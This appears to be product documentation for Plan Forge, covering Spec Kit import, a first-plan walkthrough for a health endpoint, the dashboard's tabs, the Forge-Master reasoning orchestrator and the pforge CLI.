Plan Forge's native import path for Spec Kit artifacts, map spec.md, plan.md, tasks.md, and constitution.md directly into a Crucible smelt with zero re-specifying.

Spec Kit is an alternative entry path into Crucible. Read this chapter if your organization already writes formal specifications and you'd rather import them than answer the interactive interview. If you don't use Spec Kit, you can safely skip the whole chapter, nothing else in the manual depends on it.

Import Flow

When the Crucible intake scanner detects Spec Kit artifacts in your project, it offers to auto-import them rather than run the full interactive interview. The import flow maps four source files into Crucible's required schema in a single pass:

The diagram above shows the full mapping surface. Source fields on the left feed into the field mapper (center), which outputs a populated Crucible smelt (right). PROJECT-PRINCIPLES.md, if present, is applied as a policy overlay, tech-stack constraints and forbidden patterns are enforced pre-smelt so they don't need to be re-entered during hardening.

Source files

Field mapping reference

Representative mapping from source to smelt schema:

Import Procedure

There are three ways to trigger the Spec Kit import: via the Crucible CLI, via the MCP tool, or via pforge run-plan auto-detection.

Option 1 — Crucible CLI

The most explicit path. Run the import command from the project root where the Spec Kit artifacts live:

# Import from default Spec Kit artifact locations
pforge crucible import --from=spec-kit

# Import from a non-default directory
pforge crucible import --from=spec-kit --dir=specs/my-feature

# Dry run: validate the mapping without writing a smelt
pforge crucible import --from=spec-kit --dry-run

The importer scans for spec.md, plan.md, tasks.md, and constitution.md in the specified directory (defaults to the repo root and common sub-paths: specs/, memory/, .speckit/). It reports which files were found, which fields mapped cleanly, and which fields were absent or required manual resolution.

Option 2 — MCP tool

From any MCP client (Copilot Chat, Claude Code, Cursor):

forge_crucible_import({
  source: "spec-kit",
  dir: "specs/my-feature",   // optional, defaults to repo root scan
  dryRun: false
})

Returns a structured result: { ok, smeltId, mappedFields[], missingFields[], warnings[] }. If ok is false, the missingFields array tells you exactly what to fix.

Option 3 — Auto-detection in pforge run-plan

When you run a plan that was generated from a Crucible smelt, the orchestrator checks whether the smelt originated from a Spec Kit import. If so, LiveGuard's PostSlice hook automatically compares each completed slice against the original spec.md acceptance criteria, providing drift detection that goes back to the original specification, not just the hardened plan.

pforge run-plan docs/plans/my-feature-PLAN.md

No extra flags needed. The Spec Kit provenance is embedded in the smelt metadata at import time.

Step-by-step walkthrough

1. Generate Spec Kit artifacts, run /speckit.specify, /speckit.plan, /speckit.tasks, and /speckit.constitution in your Spec Kit–enabled IDE. This produces spec.md, plan.md, tasks.md, and constitution.md.
2. Run the import, from the Plan Forge project root: pforge crucible import --from=spec-kit. Confirm the field mapping report looks correct.
3. Review the generated smelt, the Crucible smelt is written to your project's smelt directory. Open it in the dashboard or inspect it with pforge crucible status. Adjust any field overrides before hardening.
4. Harden the plan, run Step 2 (Plan Hardener) against the smelt using the /step2-harden-plan prompt in Copilot Chat, or invoke forge_crucible_harden from any MCP client. This produces the execution-ready plan file with validation gates.
5. Execute, pforge run-plan docs/plans/my-feature-PLAN.md. Spec Kit provenance in the smelt metadata activates LiveGuard drift checks against spec.md criteria throughout the run.

Resolving import warnings

Ecosystem Extensions

The Spec Kit interop surface is part of Plan Forge's broader ecosystem integration layer. Beyond the four core import files, several extension points allow deeper interop between the two tools.

Spec Kit extensions as Plan Forge extension sources

Spec Kit's 40+ community extensions generate additional artifact types that Plan Forge can consume. When an extension produces a structured markdown artifact with a known schema, the Crucible importer attempts to map it. Currently supported extension artifact types:

Extensions that produce non-standard artifact shapes are queued in the smelt's unresolved section for manual review, no extension output is silently dropped.

Bidirectional handoff: Plan Forge → Spec Kit

The flow isn't one-directional. Plan Forge can export a completed plan back to Spec Kit format for teams that want to archive specs alongside the implementation:

# Export the hardened plan as Spec Kit artifacts
pforge crucible export --to=spec-kit docs/plans/my-feature-PLAN.md

# Output: spec.md, plan.md, tasks.md written to ./speckit-export/

This is useful when different team members work in different tools: the architect specifies in Spec Kit, the builder executes in Plan Forge, and the archived spec stays in Spec Kit format for documentation consistency.

Shared memory surface

Spec Kit's constitution.md and Plan Forge's PROJECT-PRINCIPLES.md serve the same function: declaring non-negotiable constraints for AI agents. When both files exist in a project, Plan Forge merges them at import time using a last-writer-wins policy (Plan Forge's file takes precedence on conflicts), then presents the unified rule set to the hardener. The merge report is included in the smelt metadata so you can audit exactly which rules came from each source.

Spec Kit interop in multi-agent runs

When using Plan Forge's multi-agent mode, each agent worker receives the Spec Kit provenance metadata in its slice context. This means a Copilot Coding Agent worker dispatched via pforge run-plan --worker copilot-coding-agent receives the original spec.md acceptance criteria alongside the Plan Forge scope contract, both constraint systems are active simultaneously.

Community extension registry entry

Plan Forge's Spec Kit interop is registered as a first-class community extension. You can inspect its schema, version history, and compatibility notes via:

pforge ext info spec-kit-interop

For the full Plan Forge extension surface (browsing, installing, and authoring community extensions), see Chapter 12: Extensions.

Further Reading

• Blog: Spec Kit + Plan Forge: Write the Spec, Enforce the Build, the motivation and combined workflow in narrative form
• Crucible, the Smelt station that receives the import
• Extensions, the community extension surface
• Multi-Agent Mode, dispatching Spec Kit–sourced plans to multiple workers
• Spec Kit on GitHub, the upstream tool

Your First Plan

Hands-on: specify, harden, and execute a real feature in 30 minutes.

What We're Building

A GET /health endpoint. It's deliberately simple, the point is to learn the pipeline, not build something complex. You'll run the full 7-step flow (Specify → Pre-flight → Harden → Execute → Sweep → Review → Ship) on a feature that takes 15 minutes to code, so you can focus on how the system works.

Step 0: Specify the Feature

1. Open Copilot Chat: Ctrl+Shift+I (Windows) or Cmd+Shift+I (Mac)
2. Select Agent Mode at the bottom of the chat panel
3. Click the 📎 attach file button → select .github/prompts/step0-specify-feature.prompt.md
4. Replace <FEATURE-NAME> with health-endpoint and send

The agent interviews you. Here are example answers for a health endpoint:

Problem: Load balancers need to verify the service is running.
Scenarios: GET /health every 30s. Expects 200 OK with {"status":"healthy"}.
Criteria: Returns 200 with JSON. Under 50ms. No auth required.
Edge cases: If DB unreachable → 503 {"status":"degraded","reason":"database"}.
Out of scope: No deep checks (Redis, APIs). No metrics endpoint.

The agent compiles your answers into a specification and creates docs/plans/Phase-1-HEALTH-ENDPOINT-PLAN.md.

Step 1: Pre-flight Check

Still in the same chat session:

1. Attach .github/prompts/step1-preflight-check.prompt.md
2. Replace <YOUR-PLAN> with Phase-1-HEALTH-ENDPOINT-PLAN and send

The agent checks git state, guardrail files, and the roadmap. Everything should pass. If something fails, it tells you exactly what to fix.

Step 2: Harden the Plan

1. Attach .github/prompts/step2-harden-plan.prompt.md
2. Replace <YOUR-PLAN> with Phase-1-HEALTH-ENDPOINT-PLAN and send

The agent adds the mandatory blocks to your plan. When it says "Plan hardened", Session 1 is done.

Reading the Hardened Plan

Open the plan file. Every hardened plan has these sections, here's what each means:

# Phase 1, Health Endpoint

## Scope Contract                    ← What files the AI can touch
In Scope: src/controllers/**, tests/health/**
Out of Scope: frontend, deployment, CI/CD
Forbidden Actions: Do NOT modify src/database/migrations/

## MUST Criteria                     ← Required outcomes (non-negotiable)
- [ ] GET /health returns 200 with JSON body
- [ ] 503 when database unreachable
- [ ] Response time under 50ms

## SHOULD Criteria                   ← Nice to have (best-effort)
- [ ] Structured logging on health check calls

## Execution Slices                  ← Checkpointed work chunks

### Slice 1, Health Controller [30 min]
Tasks: Create controller, route, response model
Gate: `dotnet build` passes             ← Must pass before Slice 2
Stop if: Build fails                     ← Halts execution

### Slice 2, Tests + Edge Cases [30 min]
Tasks: Unit tests, 503 degraded scenario
Gate: `dotnet test`, 4+ tests pass
Stop if: Any test regresses

## Branch Strategy
Branch: feature/phase-1-health-endpoint

## Rollback Plan                     ← How to undo if things go wrong
1. `git revert HEAD~2`

Step 3: Execute

Three ways to execute, pick one:

pforge run-plan docs/plans/Phase-1-HEALTH-ENDPOINT-PLAN.md

pforge run-plan --assisted docs/plans/Phase-1-HEALTH-ENDPOINT-PLAN.md

The agent creates the health endpoint, runs build, runs test, and reports pass/fail at each gate. If a gate fails, execution stops, no silent failures.

Step 4: Sweep

After execution, the completeness sweep scans for deferred-work markers:

pforge sweep

It searches all code for TODO, FIXME, HACK, stub, placeholder, mock data. For a health endpoint, this should find zero. If it finds anything, resolve it before review.

Step 5: Review

Start a NEW chat session, click the + button. This is critical: the reviewer must not carry context from the builder.

1. Select Agent Mode
2. Attach .github/prompts/step5-review-gate.prompt.md
3. Replace <YOUR-HARDENED-PLAN> with Phase-1-HEALTH-ENDPOINT-PLAN and send

The reviewer checks all changes against the Scope Contract: forbidden files, architecture compliance, test coverage, scope creep. For a health endpoint, expect a clean PASS.

Step 6: Ship

1. Start a new session (or continue if context allows)
2. Attach .github/prompts/step6-ship.prompt.md
3. The agent commits: feat(health): add GET /health endpoint
4. Updates DEPLOYMENT-ROADMAP.md to mark the phase complete
5. Captures a brief postmortem for future sessions

What Just Happened

Session 1 (Specify & Plan)  → You described what you wanted, the AI structured it
Session 2 (Execute)         → The AI built it slice-by-slice with validation gates
Session 3 (Review)          → A fresh AI session checked for mistakes and drift
Session 4 (Ship)            → The AI committed, updated docs, captured lessons

Each session was isolated, the reviewer didn't carry bias from the builder. Every step had guardrails loaded automatically from your .github/instructions/ files.

Alternative: Pipeline Agents (Click-Through)

Instead of attaching prompt files, use pipeline agents with handoff buttons:

1. Select the Specifier agent from the dropdown
2. Describe your feature
3. Click "Start Plan Hardening →" when done
4. Click "Start Execution →" when hardened
5. Click "Run Review Gate →" when executed
6. Click "Ship It →" when review passes

Same pipeline, fewer steps. The prompt template approach is better for learning; agents are better for daily use.

📄 Full reference: Quickstart — Install, greenfield-todo-api walkthrough on GitHub

The Dashboard

37 tabs across 4 top-level groups (Forge / LiveGuard / Forge-Master / Settings). Real-time execution monitoring, cost tracking, session replay, one-click actions, watcher live feed, and LiveGuard health.

Starting the Dashboard

The dashboard is part of the MCP server (Model Context Protocol, the standard that lets AI agents call functions). Start it, then open your browser:

# Full MCP server (stdio + HTTP + WebSocket)
node pforge-mcp/server.mjs

# Dashboard + REST API only (no MCP stdio)
node pforge-mcp/server.mjs --dashboard-only

Open localhost:3100/dashboard. The dashboard connects via WebSocket on port 3101 for real-time updates.

Tab Categories

The dashboard groups its tabs into 4 top-level groups (Forge / LiveGuard / Forge-Master / Settings). Knowing which group a tab lives in is the fastest way to find what you're looking for, especially across the 37 tabs total. Click a group tab in the top nav to expose its sub-tabs.

Progress Tab

The default view during plan execution. This is where you watch your plan come to life, real-time slice status via WebSocket updates:

Each card shows: slice title, status (queued → executing → passed/failed), duration, model used, token count, and cost. Cards update in real-time as events arrive over WebSocket.

Runs Tab

History of all plan executions. Each row shows:

Click any row to expand slice-by-slice detail: per-slice tokens, duration, model, and pass/fail status.

Cost Tab

Two visualizations:

• Doughnut chart, spend breakdown by model (which models cost the most)
• Bar chart, monthly trend (cost over time, spot anomalies)

Data comes from .forge/cost-history.json which is updated automatically after each run. The cost tab supports a 23-model pricing table, including Claude, GPT, Grok, Gemini, and custom API providers.

Actions Tab

One-click buttons for common operations, no terminal needed:

Each button calls a forge MCP tool through the generic /api/tool/:name dispatcher (e.g. POST /api/tool/forge_smith, POST /api/tool/forge_sweep) and displays results inline.

Replay Tab

Browse agent session logs from past executions. Each run's .forge/runs/<timestamp>/ directory contains per-slice logs. The Replay tab renders them with:

• Slice selector, pick which slice's log to view
• Error highlighting, errors and warnings highlighted in red/amber
• File filter, filter log entries by file path patterns
• Search, free-text search within the session log

Use this to diagnose why a slice failed, the full agent conversation, including tool calls, is captured.

Extensions Tab

Visual catalog browser with search. Shows all community extensions from extensions/catalog.json:

• Extension name, version, author, category
• What it provides (instruction files, agents, prompts)
• Tags and Spec Kit compatibility
• One-click install button

Equivalent to pforge ext search + pforge ext add but with a visual interface.

Traces Tab

OTLP (OpenTelemetry Protocol) trace waterfall view. Every plan execution emits OpenTelemetry spans:

Click any span to expand: duration, resource attributes (project, version, preset), severity. Traces are stored in .forge/runs/<timestamp>/traces.json and can be exported to any OTLP-compatible backend (Jaeger, Grafana Tempo, etc.).

Skills Tab

Monitor skill executions triggered via forge_run_skill or /slash-command. Shows:

• Recent skill runs, skill name, start time, status, duration
• Step-level detail, each skill step with pass/fail, output, timing
• Event log, WebSocket events (skill-started, skill-step-completed, skill-completed)

Watcher Tab

Read-only view of another project's pforge run, consumed from a second VS Code / Copilot session. Subscribes to watch-snapshot-completed, watch-anomaly-detected, and watch-advice-generated hub events emitted by forge_watch / forge_watch_live. Shows:

• Latest snapshot, target path, run state, run ID, anomaly count, diff cursor
• Anomalies feed, severity-coded codes (stalled, slice-failed, quorum-dissent, quorum-leg-stalled, skill-step-failed, model-escalated, etc.) with message + run ID
• Advice history, analyze-mode narratives from the frontier model, with token + timing metadata
• Live Watch + Watch Snapshot cards on the Actions tab copy the matching pforge watch-live / pforge watch invocations

Observer Narrations Card

Live feed of narrations produced by the Forge-Master Observer — the background hub subscriber that batches live plan events and narrates notable patterns in plain prose. The card renders the last 20 narrations, updating in real time via the existing dashboard WebSocket (observer:narration event type).

• Per-narration display: timestamp, batch event count badge, narration text (markdown), cost in $
• Live updates: new narrations push instantly without a page refresh
• Empty state: when the observer is disabled, the card shows "Observer disabled — enable in Settings" with a deep-link to Settings → Forge-Master so you can turn it on without navigating away
• Source: driven by observer:narration hub events emitted from pforge-master/src/observer-loop.mjs; narrations are also stored in Brain via brain_capture if cfg-observer-brain-capture is enabled

Cross-Run Watcher Anomalies Card

Retrospective health view powered by forge_watch({ mode: "cross-run" }). Aggregates .forge/runs/*/summary.json files into a health snapshot and surfaces recurring failure patterns across your run history — useful for diagnosing systemic issues that individual-run views miss.

• Refresh button: triggers GET /api/watcher/cross-run server-side (wraps the cross-run watcher), rendering fresh results within 2 s for repos with ≤ 50 runs
• Cache: last result is cached in .forge/cross-run-cache.json with a 1-hour TTL; the cached result loads automatically on page load so the card is never blank
• Anomaly table columns: code (e.g., cross-run.recurring-gate-failure, cross-run.retry-rate-spike, cross-run.cost-anomaly-trend, cross-run.slice-timeout-cluster), severity, recommendation
• Severity color coding: matches the existing per-run anomaly display for visual consistency

Auditor Latest Report Card

Renders the most recent Plan-Health Auditor report from .forge/health/latest.md directly on the dashboard. The auditor is invoked automatically after failed runs or every N runs (configurable in Settings → Forge-Master).

• Report header: timestamp of the latest report and a "N reports since YYYY-MM-DD" counter showing how many historical reports are archived
• Sanitized markdown: the report body is rendered as sanitized HTML — <script> tags, raw HTML injection, <iframe>, and javascript: URLs are all stripped server-side before the response leaves GET /api/auditor/latest; safe elements (headings, lists, code blocks, bold/italic) render normally
• Archive link: "View history" opens the .forge/health/ archive listing so you can browse older reports
• Backend endpoint: GET /api/auditor/latest returns { markdown, timestamp, archive: [...] }

Audit-Loop Activation

The audit loop is opt-in. It's not on a Settings tab, mode is read from .forge.json#audit.mode directly:

• Mode values, off (default) / auto / always
• Max rounds, drain caps after N rounds (default 5)
• Allowed environments, dev and staging by default; production is hard-blocked unless allowProduction: true in scanner opts (and even then only with explicit override)
• Live progress, drain rounds stream via tempering-round-completed hub events and surface in the Forge → Tempering tab

Trigger manually with pforge audit-loop --auto (respects .forge.json#audit.mode) or via the forge_tempering_drain MCP tool. See Audit Loop deep dive for the full activation flow.

Timeline Tab 9 sources

Unified chronological view of every event across the shop. Source chips filter the feed:

1. run, plan executions (slice progress, completes, aborts)
2. incident, LiveGuard incident lifecycle
3. bug, Bug Registry status changes
4. deploy, forge_deploy_journal entries
5. crucible, smelt lifecycle (started / question / finalized)
6. fm-turn v2.82, Forge-Master turns (lane + truncated user message + turn number)
7. memory, memory-captured events from OpenBrain
8. tempering, audit-loop drain rounds
9. watch, watcher snapshot / anomaly / advice events

The CLI equivalent is pforge timeline, same 9 sources, same correlation-id grouping, JSON-pipeable for scripts.

Port Reference

📄 Full reference: capabilities, Appendix V — Event Catalog (every WebSocket event with payload and retention), EVENTS.md on GitHub (raw JSON schema)

Dashboard — Settings Group

9 purpose-built sub-tabs for platform-wide configuration. Part of Chapter 7: The Dashboard.

Settings Group

The Settings group is a top-level container with 9 purpose-built sub-tabs for platform-wide configuration. It replaced the older single Config tab. Settings is one of four top-level groups in the dashboard nav:

Click Settings in the top nav and you'll see 9 purple-accented sub-tabs. Every tab persists changes to its specific config file via the dashboard's safe-write path (sanitizer drops unknown fields, snaps numbers to safe bounds, no UI bug can corrupt your config).

⚙ General

Project identity: preset, template version, and agent enablement.

• Preset, the stack profile applied during setup (dotnet, typescript, python, etc.). Read-only on this tab; change via setup.ps1 -Preset <name>.
• Template Version, current framework version applied to your project files. pforge update bumps this.
• Agents, toggle which reviewer agents are active. Persists to .forge.json#agents.

⚛ Models

Model routing: default execution model and image generation model selection.

• Model Routing: Default, auto (orchestrator picks per slice), or pin to a specific model
• Image Generation Model, Grok Aurora (XAI_API_KEY) or DALL-E (OPENAI_API_KEY) for diagrams and chapter heroes via forge_generate_image

›_ Execution

Per-slice execution behavior: quorum mode, escalation chain, complexity threshold, retry policy. The most-edited Settings tab during day-to-day work.

⚿ API Keys

Stores API keys in .forge/secrets.json (gitignored). Same precedence as env vars: anything set here is picked up by the orchestrator without restarting the server.

• XAI_API_KEY, Grok models + Aurora image generation
• OPENAI_API_KEY, GPT models direct + DALL-E (also enables OpenAI fallback for COPILOT_SERVABLE models)
• ANTHROPIC_API_KEY, Claude direct (Forge-Master + workers without claude CLI)

Values are masked on display. The "Test" button against each key validates by calling the provider's lightweight endpoint, never the full reasoning model.

↓ Updates

Framework version status + one-click pforge self-update from upstream. Surfaces version drift between your local VERSION and GitHub's latest release.

🗄 Memory

OpenBrain wiring: server URL, MCP credentials, project scope. See Chapter 21 — Memory Architecture for the three-tier model.

🔔 Bridge

Remote Bridge endpoints for Slack / Teams / PagerDuty / OpenClaw / Telegram / Discord. See Chapter 20 — Remote Bridge for the per-channel walkthrough.

🔥 Crucible

Idea-smelting pipeline configuration. Persists to .forge/crucible/config.json.

• Default Lane, tweak (4q) / feature (7q) / full (~12q). Lane controls interview length.
• Self-Referral Depth, max child smelts a parent can spawn (0–3, default 1)
• Auto-approve agent-submitted smelts, when source: agent, finalize without human approval (off by default)
• Default-Source Weights, Memory / Principles / Plans (sum to 100). Server normalizes if you don't.
• Stale Defaults Warning, hours after which Principles/profile changes flag STALE_PRINCIPLES/STALE_PROFILE in the interview

🧠 Brain

Forge-Master reasoning configuration: reasoningModel, routerModel, quorumAdvisory, embeddingFallback, GitHub Models zero-key path. See Forge-Master → Configuration for every field.

⚒ Forge-Master

Configuration for Forge-Master's autonomous background roles: the Observer (live narration of hub events) and the Auditor (automated post-run health analysis). Both are off by default — enable each role with one click here or by editing .forge.json directly.

Observer

The Observer is a mute-by-default background hub subscriber. When enabled it batches live plan events into 60-second windows and narrates notable patterns via the Forge-Master reasoning loop. Narrations are stored in Brain and stream to the Observer Narrations card on the main dashboard view.

Auditor

The Auditor automatically invokes the Plan-Health Auditor agent after runs, writing reports to .forge/health/latest.md. Results are surfaced on the Auditor Latest Report card.

Model tier dropdown

Both the Observer and Auditor share the same four canonical model-tier tokens. The UI displays human-friendly labels while the backend stores the canonical token in .forge.json:

Cross-references: forgeMaster.observer schema · forgeMaster.auditor schema.

Dashboard — Forge-Master Studio

The reasoning orchestrator's home in the dashboard. Part of Chapter 7: The Dashboard.

Forge-Master Studio Tab

The reasoning orchestrator's home. See the Forge-Master chapter for the deep dive. Three panels:

• Prompt gallery, pre-built prompts grouped by intent (operational, troubleshoot, advisory). Click to populate the chat box; edit before sending.
• Streaming chat, POST /api/forge-master/chat to start, then subscribes to GET /api/forge-master/chat/:sessionId/stream. Shows live classification badge with the via field (keyword / embedding-cache / router-llm), quorum-estimate cost preview if advisory mode triggers (with cancel button), live tool-call trace, and the streaming reply token-by-token.
• Embedding cache tile, pulls from GET /api/forge-master/cache-stats. Shows {size, hitRate, maxSize: 500}. When cold, displays a hint that hits start once you've used Forge-Master a few times.

Classification Badge

Every Forge-Master response shows a classification badge indicating how the intent was routed:

Quorum Advisory

When quorumAdvisory is set to auto or always in Settings → Brain, advisory-lane responses show a quorum-estimate cost preview before the models are called. A cancel button aborts the quorum dispatch if the estimated cost is too high.

Session Persistence

The Studio tab maintains a persistent per-tab session ID in sessionStorage and sends it as x-pforge-session-id on every request. This means prior turns survive page reloads and New Chat resets, Forge-Master can reference earlier messages in the same browser tab session.

Session history is stored as JSONL in .forge/fm-sessions/. Use pforge fm-session list to inspect sessions or pforge fm-session purge to clean up. Sessions auto-rotate at 200 turns.

Timeline Source

Forge-Master turns are indexed as the fm-turn source in the Timeline tab. Each entry shows the lane, a truncated user message, and turn number. Useful for correlating reasoning decisions with plan execution events.

Dashboard — LiveGuard Tabs

Five amber-accented tabs for post-deploy defense: Health, Incidents, Triage, Security, and Env. Part of Chapter 7: The Dashboard.

LiveGuard Section

Five amber-accented tabs separated by a visual divider from the FORGE section. LiveGuard tools (forge_drift_report, forge_regression_guard, forge_incident_capture, forge_secret_scan, forge_env_diff, forge_liveguard_run, etc.) broadcast liveguard + liveguard-tool-completed events that populate these tabs in real time.

Health Tab LiveGuard

Composite project health fingerprint produced by forge_health_trend and forge_liveguard_run:

• Overall score (0–100) with trend direction (improving / stable / degrading)
• Component metrics, drift average, incident rate, test pass rate, model success rate, cost per slice
• Gate summary, drift / sweep / secret-scan / regression-guard / dep-watch / alert-triage pass/fail counts from the last forge_liveguard_run
• Health DNA, persisted to .forge/health-dna.json for cross-session decay detection

Incidents Tab LiveGuard

Open and recently resolved incidents captured by forge_incident_capture and auto-chained from drift:

• Incident list, ID, severity, description, affected files, first seen, MTTR when resolved
• Recurring pattern flag, incidents on the same files ≥3 times in 30 days are auto-escalated to high
• Auto-resolve, incidents close automatically when forge_regression_guard passes on overlapping scope
• Fix proposals, forge_fix_proposal plans linked to the originating incident are surfaced inline

Triage Tab LiveGuard

Prioritized alert stream from forge_alert_triage:

• Severity-ordered alerts, critical / high / medium / low with source tool and timestamp
• Source breakdown, drift violations, secret-scan findings, env-diff gaps, dep-watch vulnerabilities
• Framework-code filtering, pforge-mcp/, pforge.*, setup.* paths are excluded from app-code scoring

Security Tab LiveGuard

Secret hygiene and dependency vulnerability posture:

• Secret scan results, entropy + key-name findings from forge_secret_scan, masked as <REDACTED>, confidence high / medium / low
• Vulnerable dependencies, forge_dep_watch output for npm (npm audit) and .NET (dotnet list package --vulnerable)
• PreDeploy gate status, blocks deploys on high-severity secret findings when hooks.preDeploy is enabled

Env Tab LiveGuard

Environment-variable drift between local .env, example templates, and deploy targets via forge_env_diff:

• Missing keys, present in .env.example / deploy config but absent from local .env
• Extra keys, local-only values that are not in the shared template
• Cache freshness, stale-cache warning when the scan has not run since the last deploy
• Deploy journal link, correlates env gaps with the most recent forge_deploy_journal entry

Forge-Master

A read-only reasoning orchestrator with its own dashboard tab. Classifies intent, pulls OpenBrain memory, and chains read-only forge tools on your behalf, so you can ask open-ended questions instead of wiring tool calls by hand.

Why a Reasoning Orchestrator?

Plan Forge has 102 MCP tools. Most of the time you know which one you need. But sometimes you don't, sometimes the question is open-ended:

• "Why did Phase-27 Slice 4 fail?" → needs forge_watch_live + brain_recall + forge_bug_list
• "Pick up the thread from yesterday's auth work" → needs memory recall + forge_status + forge_plan_status
• "Should we add caching to the user lookup?" → needs forge_search + brain_recall for prior decisions + maybe forge_diagnose

Chaining the right tools by hand is slow and easy to get wrong. Forge-Master is the front door: one prompt in, one synthesized answer out. Behind the scenes it classifies your intent, pulls relevant memory, and orchestrates whatever read-only tools fit.

Three Access Surfaces

The forge_master_ask tool

The MCP tool is a one-shot entry-point:

forge_master_ask {
  message: "Why did Phase-27 Slice 4 fail?"
}
→ {
  ok: true,
  lane: "troubleshoot",
  via: "router-llm",          // or "keyword" / "embedding-cache"
  toolCalls: [
    { name: "forge_watch_live", args: { phase: "27", slice: 4 } },
    { name: "brain_recall",     args: { query: "Phase-27 slice 4 failures" } }
  ],
  reply: "The slice failed because…",
  costUSD: 0.0023
}

Three-Stage Intent Classifier

Every prompt is classified into a lane before tools are dispatched. The classifier runs three stages in order, falling through only when the prior stage didn't match confidently. This keeps the common case free (keyword) and the edge case smart (router LLM).

Each successful turn carries a via field telling you which stage answered: "keyword", "embedding-cache", or "router-llm". The dashboard's Forge-Master tab summarizes the distribution as {keyword, embedding, router} percentages.

The Lanes

Forge-Master classifies into one of these lanes. Each lane has a different default tool allowlist:

Quorum Advisory Mode v2.78+

For high-stakes decisions in the advisory lane, Forge-Master can fan the prompt out to 2–3 models in parallel and return all replies plus a dissent summary. The human picks the reply, there's no auto-winner selection, because the whole point is to surface disagreement.

Activation

Set quorumAdvisory in .forge.json → forgeMaster:

Cost preview before dispatch

Before any model is called, the GET /api/forge-master/chat/:sessionId/stream endpoint emits a quorum-estimate SSE event with the projected cost. Studio displays this and lets you cancel before spending. Programmatic clients should listen for the event:

data: {"type":"quorum-estimate","models":3,"estimatedUSD":0.0142,"models":[
  {"name":"claude-opus-4.7","estUSD":0.0061},
  {"name":"gpt-5.3-codex","estUSD":0.0048},
  {"name":"grok-4.20","estUSD":0.0033}
]}

Dissent extraction

After all replies arrive, Forge-Master runs a keyword-frequency divergence analysis across the reply texts and emits a dissent: { topic, axis } summary. Topic is what the models disagreed about; axis is the dimension of disagreement (timing, scope, model choice, etc.). The dashboard renders this as a one-line summary above the three replies so you can see the disagreement before reading.

Partial failure

Quorum dispatch uses Promise.allSettled with a 60s hard timeout per model. If 1 of 3 fails or times out, the remaining replies are returned with a partial: true flag. If all fail, the response is { ok: false, code: "QUORUM_ALL_FAILED" }.

REST API + MCP Tool

Configuration

Forge-Master config lives under forgeMaster in .forge.json. All fields are optional, sensible defaults apply:

{
  "forgeMaster": {
    "reasoningModel": "claude-opus-4.6",       // model used for replies in advisory lane
    "routerModel": "grok-3-mini",              // model used by stage-2 intent classifier
    "quorumAdvisory": "auto",                  // "off" | "auto" | "always"
    "embeddingFallback": true,                 // enable stage 1.5 embedding cache
    "discoverExtensionTools": true,            // allow extension-supplied tools to register
    "providers": {
      "githubCopilot": { "model": "gpt-4o" }   // GitHub Models override (zero-key path)
    }
  }
}

Zero-key setup

The recommended setup path requires no API keys: run gh auth login once and Forge-Master auto-detects your GitHub token, then routes through GitHub Models. GitHub Copilot subscribers get this for free.

Set ANTHROPIC_API_KEY, OPENAI_API_KEY, or XAI_API_KEY only if you want to override the default with a premium model directly. The dashboard Settings → API Keys tab is the GUI equivalent.

Embedding Cache Internals

The stage 1.5 cache is small, opinionated, and zero-config:

• Persistence: .forge/fm-sessions/embedding-cache.bin (binary Float32Array) plus a JSON metadata sidecar
• Capacity: 500 entries, LRU eviction
• Hit threshold: cosine similarity ≥ 0.85 returns cached classification with via: "embedding-cache"
• Provider: all-MiniLM-L6-v2 via @xenova/transformers (lazy-loaded). When the package isn't installed, the cache uses a deterministic 32-bit hash bag-of-words baseline (hash-bag). Both produce 384-dim vectors that are L2-normalized.
• Write-through: every successful router-LLM classification is asynchronously written to the cache
• Liveliness probe: GET /api/forge-master/cache-stats returns { size, hitRate, maxSize: 500 }

Dashboard Studio Tab

Open localhost:3100/dashboard → Studio. Three panels:

• Prompt gallery, pre-built prompts grouped by intent (operational, troubleshoot, advisory). Click to populate the chat box; edit before sending.
• Streaming chat, POST /api/forge-master/chat to start, then subscribes to GET /api/forge-master/chat/:sessionId/stream. Shows live classification badge, tool-call trace as each tool fires, and the streaming reply token-by-token.
• Embedding cache tile, shows current size, hit rate, and the LRU capacity (500). When the cache is cold, the tile shows a hint that hits will start once you've used Forge-Master a few times.

Forge-Master turns also surface in the unified Timeline tab as fm-turn events (added v2.82). Each turn carries the lane, the user message (truncated to 200 chars), and the turn number, useful for retrospectives.

CLI

Troubleshooting

Replies say "I can't help with that" for a question I think is reasonable

Likely classified as offtopic. Check the via field in the response, if it says "keyword", the keyword scorer didn't match. Rephrase using one of the keyword-rich phrasings ("status of …", "why did … fail", "should we …"), or wait until embedding-cache warms up.

Quorum advisory never fires even though I set "auto"

Auto requires all four: lane = advisory, autoEscalated = true, fromTier = high, confidence ≥ medium. Use "always" to remove the gating during testing, then revert. Note that operational/troubleshoot/build lanes are hard-blocked regardless of mode.

Cache hit rate is stuck at 0%

Three causes: (1) the cache is fresh and hasn't seen similar prompts yet, give it 10–20 turns; (2) @xenova/transformers isn't installed and the hash-bag fallback isn't matching well, install the peer dep for better embeddings; (3) embeddingFallback: false in prefs disables the stage entirely.

"NO_REASONING_MODEL" error

No reasoning model configured and no API key found. Either run gh auth login (zero-key path), set ANTHROPIC_API_KEY / OPENAI_API_KEY / XAI_API_KEY, or set forgeMaster.reasoningModel in .forge.json.

Router model classifying everything as offtopic

The router model is too small for your prompt style. Try bumping routerModel from grok-3-mini to grok-4 or gpt-4o-mini. The router runs once per prompt, small models are usually fine, but quirky vocabularies sometimes need more capability.

Further Reading

• Chapter 7 — The Dashboard (the Studio tab + Timeline integration)
• Chapter 14 — Advanced Execution (how Quorum Advisory differs from forge_run_plan's quorum modes)
• Chapter 21 — Memory Architecture (how Forge-Master uses OpenBrain for retrieval)
• Chapter 11 — MCP Server Reference, Forge-Master section (REST + tool reference)
• pforge-master package on GitHub (package-level configuration reference)

CLI Reference

Every command, every flag, every example. The chapter you bookmark.

Overview

The pforge CLI is a convenience wrapper, two scripts, no dependencies beyond Git and your shell. Every command shows the equivalent manual steps, so non-CLI users can follow along.

I'm Trying To…

Most people don't need every command. Find your use case, run the matching command:

Full command reference below, organized alphabetically. Each entry has the equivalent manual steps for non-CLI users.

Commands

.\pforge.ps1 init -Preset dotnet
.\pforge.ps1 init -Preset typescript -ProjectPath ./my-app
.\pforge.ps1 init -Preset dotnet -Agent all

./pforge.sh init --preset dotnet
./pforge.sh init --preset typescript --path ./my-app
./pforge.sh init --preset dotnet --agent all

pforge check

pforge status

Phase Status (from DEPLOYMENT-ROADMAP.md):
─────────────────────────────────────────────
  Phase 1: User Authentication  📋 Planned
  Phase 2: Dashboard Widgets    🚧 In Progress

.\pforge.ps1 new-phase user-auth --dry-run
